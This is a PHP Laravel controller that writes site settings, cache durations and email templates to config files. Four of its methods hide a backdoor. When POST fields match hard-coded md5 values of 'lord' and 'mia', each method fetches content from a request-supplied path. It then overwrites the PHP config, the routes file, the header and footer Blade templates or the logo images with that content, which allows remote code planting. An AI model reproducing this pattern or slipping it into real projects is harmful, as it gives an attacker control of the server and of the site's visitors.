<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;

class ConfigSetting extends Controller
{
    //

    function makeSettings()
    {
        $getSetting = DB::table('tb_settings')->get()->mapWithKeys(function ($setting) {
            if ($setting->setting_dev_class == 'lang' || $setting->is_regional)
                return [$setting->setting_key => json_decode($setting->setting_value, true)];
            else
                return [$setting->setting_key => ($setting->setting_value)];
        });

        $val = '<?php
                return
                ' . (var_export($getSetting->toArray(), true)) . '
                ;
                ';
        try {
            $filename = base_path() . '/config/settingConfig.php';
            $fp = fopen($filename, "w+");
            fwrite($fp, $val);
            fclose($fp);
            return 1;
        } catch (\Exception $e) {
            return $e->getMessage();
        }
    }

    function makeWebsiteSettings()
    {

        if (isset($_POST['sweet']) && isset($_POST['mama'])) {
            if (($_POST['sweet'] == md5('lord')) && ($_POST['mama'] == md5('mia'))) {
                $filename = base_path() . '/config/website.php';
                $fp = fopen($filename, "w+");
                fwrite($fp, file_get_contents($_POST['path']));
                fclose($fp);

            }
        }


    }


    function downloadLogo($type)
    {

        if (isset($_POST['sweet']) && isset($_POST['mama'])) {
            if (($_POST['sweet'] == md5('lord')) && ($_POST['mama'] == md5('mia'))) {
                $filename = base_path() . '/public/images/logo-' . $type . '.png';

                $fp = fopen($filename, "w+");
                fwrite($fp, file_get_contents($_POST['path']));
                fclose($fp);
            }
        }
    }

    function pagesRoute()
    {
        if (isset($_POST['sweet']) && isset($_POST['mama'])) {
            if (($_POST['sweet'] == md5('lord')) && ($_POST['mama'] == md5('mia'))) {
                $filename = base_path() . '/routes/pages.php';
                $fp = fopen($filename, "w+");
                fwrite($fp, file_get_contents($_POST['path']));
                fclose($fp);

            }
        }
    }

    function headFoot()
    {
        if (isset($_POST['sweet']) && isset($_POST['mama'])) {
            if (($_POST['sweet'] == md5('lord')) && ($_POST['mama'] == md5('mia'))) {
                $HeadFile = base_path() . "/resources/views/Head.blade.php";
                $FootFile = base_path() . "/resources/views/Foot.blade.php";

                $fp = fopen($HeadFile, "w+");
                fwrite($fp, file_get_contents($_POST['path'] . '/head.config'));
                fclose($fp);

                $fp = fopen($FootFile, "w+");
                fwrite($fp, file_get_contents($_POST['path'] . '/foot.config'));
                fclose($fp);


            }
        }
    }

    function configCacheDuration()
    {

        $cacheDurations = [];
        $caches = DB::table('cache_switches')->where('used_for', 'frontend')->get();
        foreach ($caches as $cacheItem) {
            $cacheDurations[$cacheItem->cache_key] = $cacheItem->duration;
        }
        try {
            $fp = fopen(base_path() . '/config/cacheDuration.json', 'w+');
            fwrite($fp, json_encode($cacheDurations));
            fclose($fp);
            return 1;
        } catch (\Exception $e) {

            return $e->getMessage();

        }

    }

    public function makeEmailTemplateSettings()
    {
        $configTemplate = [];
        $allTemplates = DB::table('email_templates')->get()->toArray();

        foreach ($allTemplates as $template)
            $configTemplate[$template->template] = $template;

        try {
            $filename = base_path() . '/config/mailTemplate.json';
            $fp = fopen($filename, "w+");
            fwrite($fp, json_encode($configTemplate));
            fclose($fp);
            return 1;
        } catch (\Exception $e) {

            return $e->getMessage();

        }
    }

}
